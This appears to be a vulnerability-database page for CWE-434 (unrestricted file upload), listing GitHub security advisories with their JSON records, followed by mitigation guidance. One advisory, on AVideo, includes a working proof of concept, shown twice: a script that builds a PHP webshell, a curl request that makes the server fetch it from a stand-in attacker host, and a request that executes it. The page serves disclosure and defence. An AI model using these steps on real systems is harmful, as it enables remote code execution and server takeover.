CWE-434
AllowedUnrestricted Upload of File with Dangerous Type
Abstraction: Base · Status: Draft
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.
6008 vulnerabilities reference this CWE, most recent first.
GHSA-8VR7-QHVQ-V25X
Vulnerability from github – Published: 2022-05-24 16:55 – Updated: 2024-04-04 01:53The Rich Text Formatter (Redactor) extension through v1.1.1 for Symphony CMS has an Unauthenticated arbitrary file upload vulnerability in content.fileupload.php and content.imageupload.php.
{
"affected": [],
"aliases": [
"CVE-2019-13187"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-09-05T18:15:00Z",
"severity": "CRITICAL"
},
"details": "The Rich Text Formatter (Redactor) extension through v1.1.1 for Symphony CMS has an Unauthenticated arbitrary file upload vulnerability in content.fileupload.php and content.imageupload.php.",
"id": "GHSA-8vr7-qhvq-v25x",
"modified": "2024-04-04T01:53:17Z",
"published": "2022-05-24T16:55:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13187"
},
{
"type": "WEB",
"url": "https://blog.contentsecurity.com.au/redactor-unrestricted-file-upload"
},
{
"type": "WEB",
"url": "http://symphonyextensions.com/extensions/richtext_redactor"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8VVF-2G79-4GQM
Vulnerability from github – Published: 2025-11-18 12:30 – Updated: 2025-11-18 12:30A low privileged remote attacker can upload any file to an arbitrary location due to missing file check resulting in remote code execution.
{
"affected": [],
"aliases": [
"CVE-2025-41735"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-18T11:15:47Z",
"severity": "HIGH"
},
"details": "A low privileged remote attacker can upload any file to an arbitrary location due to missing file check resulting in remote code execution.",
"id": "GHSA-8vvf-2g79-4gqm",
"modified": "2025-11-18T12:30:18Z",
"published": "2025-11-18T12:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41735"
},
{
"type": "WEB",
"url": "https://certvde.com/de/advisories/VDE-2025-097"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8W2V-GR86-9VF3
Vulnerability from github – Published: 2023-03-15 06:30 – Updated: 2023-03-17 18:30An arbitrary file upload vulnerability in the \admin\c\CommonController.php component of Jizhicms v2.4.5 allows attackers to execute arbitrary code via a crafted phtml file.
{
"affected": [],
"aliases": [
"CVE-2023-27235"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-15T05:15:00Z",
"severity": "HIGH"
},
"details": "An arbitrary file upload vulnerability in the \\admin\\c\\CommonController.php component of Jizhicms v2.4.5 allows attackers to execute arbitrary code via a crafted phtml file.",
"id": "GHSA-8w2v-gr86-9vf3",
"modified": "2023-03-17T18:30:26Z",
"published": "2023-03-15T06:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27235"
},
{
"type": "WEB",
"url": "https://github.com/Cherry-toto/jizhicms/issues/85"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8W7W-4JJF-266Q
Vulnerability from github – Published: 2023-06-05 21:30 – Updated: 2024-04-04 04:32*File Upload vulnerability found in Emlog EmlogCMS v.6.0.0 allows a remote attacker to gain access to sensitive information via the /admin/plugin.php function.
{
"affected": [],
"aliases": [
"CVE-2020-19028"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-05T21:15:10Z",
"severity": "HIGH"
},
"details": "*File Upload vulnerability found in Emlog EmlogCMS v.6.0.0 allows a remote attacker to gain access to sensitive information via the /admin/plugin.php function.",
"id": "GHSA-8w7w-4jjf-266q",
"modified": "2024-04-04T04:32:10Z",
"published": "2023-06-05T21:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-19028"
},
{
"type": "WEB",
"url": "https://github.com/sincere-c/CVE/issues/1"
},
{
"type": "WEB",
"url": "https://github.com/emlog/emlog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8W8H-433W-8C4W
Vulnerability from github – Published: 2022-05-14 03:38 – Updated: 2022-05-14 03:38Arbitrary File Upload exists in the Proclaim 9.1.1 component for Joomla! via a mediafileform action.
{
"affected": [],
"aliases": [
"CVE-2018-7316"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-22T19:29:00Z",
"severity": "CRITICAL"
},
"details": "Arbitrary File Upload exists in the Proclaim 9.1.1 component for Joomla! via a mediafileform action.",
"id": "GHSA-8w8h-433w-8c4w",
"modified": "2022-05-14T03:38:28Z",
"published": "2022-05-14T03:38:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7316"
},
{
"type": "WEB",
"url": "https://exploit-db.com/exploits/44164"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8WF3-P67R-CXMW
Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2025-09-09 18:31Insufficient filename validation in Ivanti Endpoint Manager before 2024 SU3 Security Update 1 and 2022 SU8 Security Update 2 allows a remote unauthenticated attacker to achieve remote code execution. User interaction is required.
{
"affected": [],
"aliases": [
"CVE-2025-9872"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-09T16:15:35Z",
"severity": "HIGH"
},
"details": "Insufficient filename validation in Ivanti Endpoint Manager before 2024 SU3 Security Update 1 and 2022 SU8 Security Update 2 allows a remote unauthenticated attacker to achieve remote code execution. User interaction is required.",
"id": "GHSA-8wf3-p67r-cxmw",
"modified": "2025-09-09T18:31:18Z",
"published": "2025-09-09T18:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9872"
},
{
"type": "WEB",
"url": "https://forums.ivanti.com/s/article/Security-Advisory-September-2025-for-Ivanti-EPM-2024-SU3-and-EPM-2022-SU8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8WF4-C4X3-H952
Vulnerability from github – Published: 2026-03-25 21:28 – Updated: 2026-03-25 21:28Summary
The downloadVideoFromDownloadURL() function in objects/aVideoEncoder.json.php saves remote content to a web-accessible temporary directory using the original URL's filename and extension (including .php). By providing an invalid resolution parameter, an attacker triggers an early die() via forbiddenPage() before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at videos/cache/tmpFile/.
Details
The vulnerability is a race-free file upload leading to RCE, exploiting a logic flaw in the error handling order of operations.
Step 1 — File download preserves dangerous extension:
In objects/aVideoEncoder.json.php, when a downloadURL parameter is provided, the file is downloaded and saved with the URL's original basename:
// objects/aVideoEncoder.json.php:361-365
$_FILES['video']['name'] = basename($downloadURL); // preserves .php extension
$temp = Video::getStoragePath() . "cache/tmpFile/" . $_FILES['video']['name'];
make_path($temp);
$bytesSaved = file_put_contents($temp, $file);
The format parameter (validated against $global['allowedExtension'] at line 42) is only used later for the final destination filename (line 238), not for the temp file. The temp file uses basename($downloadURL) directly, allowing any extension including .php.
Step 2 — Resolution validation aborts after file write:
After the file is downloaded and written to disk (line 156), the resolution is validated:
// objects/aVideoEncoder.json.php:229-233
if (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) {
$msg = "This resolution is not possible {$_REQUEST['resolution']}";
_error_log($msg);
forbiddenPage($msg); // calls die() — execution stops here
}
The forbiddenPage() function (in objects/functionsSecurity.php:567-573) detects the JSON content type set at line 26 and calls die():
if (empty($unlockPassword) && isContentTypeJson()) {
// ...
die(json_encode($obj)); // line 573 — execution terminates
}
Step 3 — Cleanup never reached:
The decideMoveUploadedToVideos() call at line 243, which would move the temp file to its final destination with the safe format extension, is never reached because forbiddenPage() terminates execution first.
Step 4 — No execution restrictions on temp directory:
The videos/cache/tmpFile/ directory has no .htaccess file restricting PHP execution. The root .htaccess FilesMatch on line 73 blocks extensions matching php[a-z0-9]+ (e.g., .php5, .phtml) but does not match plain .php.
PoC
Prerequisites: An authenticated user account with canUpload permission. An attacker-controlled server hosting a PHP payload file at least 20KB in size.
Step 1 — Prepare the PHP payload (on attacker server):
# Create a PHP webshell padded to >=20KB to pass the minimum size check
python3 -c "
payload = b'<?php echo \"RCE:\".php_uname(); ?>'
padding = b'\n' + b'/' * (20001 - len(payload))
open('shell.php', 'wb').write(payload + padding)
"
# Host it on an attacker-controlled server (e.g., https://attacker.example.com/shell.php)
Step 2 — Trigger the download with invalid resolution:
curl -X POST 'https://target.example.com/objects/aVideoEncoder.json.php' \
-d 'user=uploader_username' \
-d 'pass=uploader_password' \
-d 'format=mp4' \
-d 'downloadURL=https://attacker.example.com/shell.php' \
-d 'resolution=9999'
Expected response: {"error":true,"msg":"This resolution is not possible 9999","forbiddenPage":true}
Step 3 — Access the persisted PHP file:
curl 'https://target.example.com/videos/cache/tmpFile/shell.php'
Expected output: RCE:Linux target 5.15.0-... — confirming arbitrary PHP code execution on the server.
Impact
An authenticated user with standard upload permissions can achieve Remote Code Execution on the server. This allows:
- Full server compromise — read/write arbitrary files, execute system commands
- Access to database credentials and all stored user data
- Lateral movement to other services on the same network
- Modification or destruction of all video content and platform configuration
- Use of the server as a pivot point for further attacks
The attack requires only a single HTTP request (plus hosting a payload file) and leaves no trace in the application's normal upload/video processing logs beyond the download attempt.
Recommended Fix
Fix 1 (Primary) — Validate file extension in downloadVideoFromDownloadURL():
// objects/aVideoEncoder.json.php — in downloadVideoFromDownloadURL(), after line 360
function downloadVideoFromDownloadURL($downloadURL)
{
global $global, $obj;
$downloadURL = trim($downloadURL);
// ... existing SSRF check ...
// NEW: Validate the file extension against allowed extensions
$urlExtension = strtolower(pathinfo(parse_url($downloadURL, PHP_URL_PATH), PATHINFO_EXTENSION));
if (!in_array($urlExtension, $global['allowedExtension'])) {
__errlog("aVideoEncoder.json:downloadVideoFromDownloadURL blocked dangerous extension: " . $urlExtension);
return false;
}
// ... rest of function ...
}
Fix 2 (Defense in depth) — Move resolution validation before file download:
// objects/aVideoEncoder.json.php — move lines 227-236 to BEFORE line 154
// Validate resolution BEFORE downloading anything
if (!empty($_REQUEST['resolution'])) {
if (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) {
$msg = "This resolution is not possible {$_REQUEST['resolution']}";
_error_log($msg);
forbiddenPage($msg);
}
}
// Then proceed with download...
Fix 3 (Defense in depth) — Add .htaccess to temp directory:
Create videos/cache/tmpFile/.htaccess:
# Deny execution of all scripts in temp directory
<FilesMatch "\.(?i:php|phtml|phar|php[0-9]|shtml)$">
Require all denied
</FilesMatch>
php_flag engine off
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33717"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T21:28:38Z",
"nvd_published_at": "2026-03-23T19:16:42Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL\u0027s filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`.\n\n## Details\n\nThe vulnerability is a race-free file upload leading to RCE, exploiting a logic flaw in the error handling order of operations.\n\n**Step 1 \u2014 File download preserves dangerous extension:**\n\nIn `objects/aVideoEncoder.json.php`, when a `downloadURL` parameter is provided, the file is downloaded and saved with the URL\u0027s original basename:\n\n```php\n// objects/aVideoEncoder.json.php:361-365\n$_FILES[\u0027video\u0027][\u0027name\u0027] = basename($downloadURL); // preserves .php extension\n$temp = Video::getStoragePath() . \"cache/tmpFile/\" . $_FILES[\u0027video\u0027][\u0027name\u0027];\nmake_path($temp);\n$bytesSaved = file_put_contents($temp, $file);\n```\n\nThe `format` parameter (validated against `$global[\u0027allowedExtension\u0027]` at line 42) is only used later for the *final* destination filename (line 238), not for the temp file. The temp file uses `basename($downloadURL)` directly, allowing any extension including `.php`.\n\n**Step 2 \u2014 Resolution validation aborts after file write:**\n\nAfter the file is downloaded and written to disk (line 156), the resolution is validated:\n\n```php\n// objects/aVideoEncoder.json.php:229-233\nif (!in_array($_REQUEST[\u0027resolution\u0027], $global[\u0027avideo_possible_resolutions\u0027])) {\n $msg = \"This resolution is not possible {$_REQUEST[\u0027resolution\u0027]}\";\n _error_log($msg);\n forbiddenPage($msg); // calls die() \u2014 execution stops here\n}\n```\n\nThe `forbiddenPage()` function (in `objects/functionsSecurity.php:567-573`) detects the JSON content type set at line 26 and calls `die()`:\n\n```php\nif (empty($unlockPassword) \u0026\u0026 isContentTypeJson()) {\n // ...\n die(json_encode($obj)); // line 573 \u2014 execution terminates\n}\n```\n\n**Step 3 \u2014 Cleanup never reached:**\n\nThe `decideMoveUploadedToVideos()` call at line 243, which would move the temp file to its final destination with the safe `format` extension, is never reached because `forbiddenPage()` terminates execution first.\n\n**Step 4 \u2014 No execution restrictions on temp directory:**\n\nThe `videos/cache/tmpFile/` directory has no `.htaccess` file restricting PHP execution. The root `.htaccess` `FilesMatch` on line 73 blocks extensions matching `php[a-z0-9]+` (e.g., `.php5`, `.phtml`) but does **not** match plain `.php`.\n\n## PoC\n\n**Prerequisites:** An authenticated user account with `canUpload` permission. An attacker-controlled server hosting a PHP payload file at least 20KB in size.\n\n**Step 1 \u2014 Prepare the PHP payload (on attacker server):**\n\n```bash\n# Create a PHP webshell padded to \u003e=20KB to pass the minimum size check\npython3 -c \"\npayload = b\u0027\u003c?php echo \\\"RCE:\\\".php_uname(); ?\u003e\u0027\npadding = b\u0027\\n\u0027 + b\u0027/\u0027 * (20001 - len(payload))\nopen(\u0027shell.php\u0027, \u0027wb\u0027).write(payload + padding)\n\"\n# Host it on an attacker-controlled server (e.g., https://attacker.example.com/shell.php)\n```\n\n**Step 2 \u2014 Trigger the download with invalid resolution:**\n\n```bash\ncurl -X POST \u0027https://target.example.com/objects/aVideoEncoder.json.php\u0027 \\\n -d \u0027user=uploader_username\u0027 \\\n -d \u0027pass=uploader_password\u0027 \\\n -d \u0027format=mp4\u0027 \\\n -d \u0027downloadURL=https://attacker.example.com/shell.php\u0027 \\\n -d \u0027resolution=9999\u0027\n```\n\nExpected response: `{\"error\":true,\"msg\":\"This resolution is not possible 9999\",\"forbiddenPage\":true}`\n\n**Step 3 \u2014 Access the persisted PHP file:**\n\n```bash\ncurl \u0027https://target.example.com/videos/cache/tmpFile/shell.php\u0027\n```\n\nExpected output: `RCE:Linux target 5.15.0-...` \u2014 confirming arbitrary PHP code execution on the server.\n\n## Impact\n\nAn authenticated user with standard upload permissions can achieve **Remote Code Execution** on the server. This allows:\n\n- Full server compromise \u2014 read/write arbitrary files, execute system commands\n- Access to database credentials and all stored user data\n- Lateral movement to other services on the same network\n- Modification or destruction of all video content and platform configuration\n- Use of the server as a pivot point for further attacks\n\nThe attack requires only a single HTTP request (plus hosting a payload file) and leaves no trace in the application\u0027s normal upload/video processing logs beyond the download attempt.\n\n## Recommended Fix\n\n**Fix 1 (Primary) \u2014 Validate file extension in `downloadVideoFromDownloadURL()`:**\n\n```php\n// objects/aVideoEncoder.json.php \u2014 in downloadVideoFromDownloadURL(), after line 360\nfunction downloadVideoFromDownloadURL($downloadURL)\n{\n global $global, $obj;\n $downloadURL = trim($downloadURL);\n\n // ... existing SSRF check ...\n\n // NEW: Validate the file extension against allowed extensions\n $urlExtension = strtolower(pathinfo(parse_url($downloadURL, PHP_URL_PATH), PATHINFO_EXTENSION));\n if (!in_array($urlExtension, $global[\u0027allowedExtension\u0027])) {\n __errlog(\"aVideoEncoder.json:downloadVideoFromDownloadURL blocked dangerous extension: \" . $urlExtension);\n return false;\n }\n\n // ... rest of function ...\n}\n```\n\n**Fix 2 (Defense in depth) \u2014 Move resolution validation before file download:**\n\n```php\n// objects/aVideoEncoder.json.php \u2014 move lines 227-236 to BEFORE line 154\n// Validate resolution BEFORE downloading anything\nif (!empty($_REQUEST[\u0027resolution\u0027])) {\n if (!in_array($_REQUEST[\u0027resolution\u0027], $global[\u0027avideo_possible_resolutions\u0027])) {\n $msg = \"This resolution is not possible {$_REQUEST[\u0027resolution\u0027]}\";\n _error_log($msg);\n forbiddenPage($msg);\n }\n}\n// Then proceed with download...\n```\n\n**Fix 3 (Defense in depth) \u2014 Add `.htaccess` to temp directory:**\n\nCreate `videos/cache/tmpFile/.htaccess`:\n```apache\n# Deny execution of all scripts in temp directory\n\u003cFilesMatch \"\\.(?i:php|phtml|phar|php[0-9]|shtml)$\"\u003e\n Require all denied\n\u003c/FilesMatch\u003e\nphp_flag engine off\n```",
"id": "GHSA-8wf4-c4x3-h952",
"modified": "2026-03-25T21:28:38Z",
"published": "2026-03-25T21:28:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8wf4-c4x3-h952"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33717"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/6da79b43484099a0b660d1544a63c07b633ed3a2"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "AVideo: Remote Code Execution via PHP Temp File in Encoder downloadURL"
}
GHSA-8WG4-JFMV-22FP
Vulnerability from github – Published: 2022-05-17 00:47 – Updated: 2025-04-20 03:45Vulnerability in wordpress plugin webapp-builder v2.0, The plugin includes unlicensed vulnerable CMS software from http://www.invedion.com/
{
"affected": [],
"aliases": [
"CVE-2017-1002002"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-14T13:29:00Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in wordpress plugin webapp-builder v2.0, The plugin includes unlicensed vulnerable CMS software from http://www.invedion.com/",
"id": "GHSA-8wg4-jfmv-22fp",
"modified": "2025-04-20T03:45:17Z",
"published": "2022-05-17T00:47:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1002002"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins-wp/webapp-builder"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/41540"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/96906"
},
{
"type": "WEB",
"url": "http://www.vapidlabs.com/advisory.php?v=181"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8X34-HCFV-C7QH
Vulnerability from github – Published: 2022-05-24 17:29 – Updated: 2022-05-24 17:29An issue was discovered in Pluck CMS v4.7.11. There is a file upload vulnerability that can cause a remote command execution via admin.php?action=files.
{
"affected": [],
"aliases": [
"CVE-2020-21564"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-30T18:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Pluck CMS v4.7.11. There is a file upload vulnerability that can cause a remote command execution via admin.php?action=files.",
"id": "GHSA-8x34-hcfv-c7qh",
"modified": "2022-05-24T17:29:50Z",
"published": "2022-05-24T17:29:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-21564"
},
{
"type": "WEB",
"url": "https://github.com/pluck-cms/pluck/issues/83"
},
{
"type": "WEB",
"url": "https://github.com/pluck-cms/pluck/issues/91"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8X47-3XR9-W9R6
Vulnerability from github – Published: 2022-07-26 00:00 – Updated: 2024-05-03 21:30OpenTeknik LLC OSSN OPEN SOURCE SOCIAL NETWORK v6.3 LTS was discovered to contain an arbitrary file upload vulnerability via the component /ossn/administrator/com_installer. This vulnerability allows attackers to execute arbitrary code via a crafted PHP file.
{
"affected": [],
"aliases": [
"CVE-2022-34965"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-25T17:15:00Z",
"severity": "HIGH"
},
"details": "OpenTeknik LLC OSSN OPEN SOURCE SOCIAL NETWORK v6.3 LTS was discovered to contain an arbitrary file upload vulnerability via the component /ossn/administrator/com_installer. This vulnerability allows attackers to execute arbitrary code via a crafted PHP file.",
"id": "GHSA-8x47-3xr9-w9r6",
"modified": "2024-05-03T21:30:29Z",
"published": "2022-07-26T00:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34965"
},
{
"type": "WEB",
"url": "https://github.com/opensource-socialnetwork/opensource-socialnetwork/releases/tag/6.3"
},
{
"type": "WEB",
"url": "https://grimthereaperteam.medium.com/cve-2022-34965-open-source-social-network-6-3-3f61db82880"
},
{
"type": "WEB",
"url": "https://www.opensource-socialnetwork.org"
},
{
"type": "WEB",
"url": "https://www.openteknik.com/contact?channel=ossn"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation
Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.
Mitigation
Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.
Mitigation
Strategy: Input Validation
Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]
Mitigation
When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.
Mitigation
Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.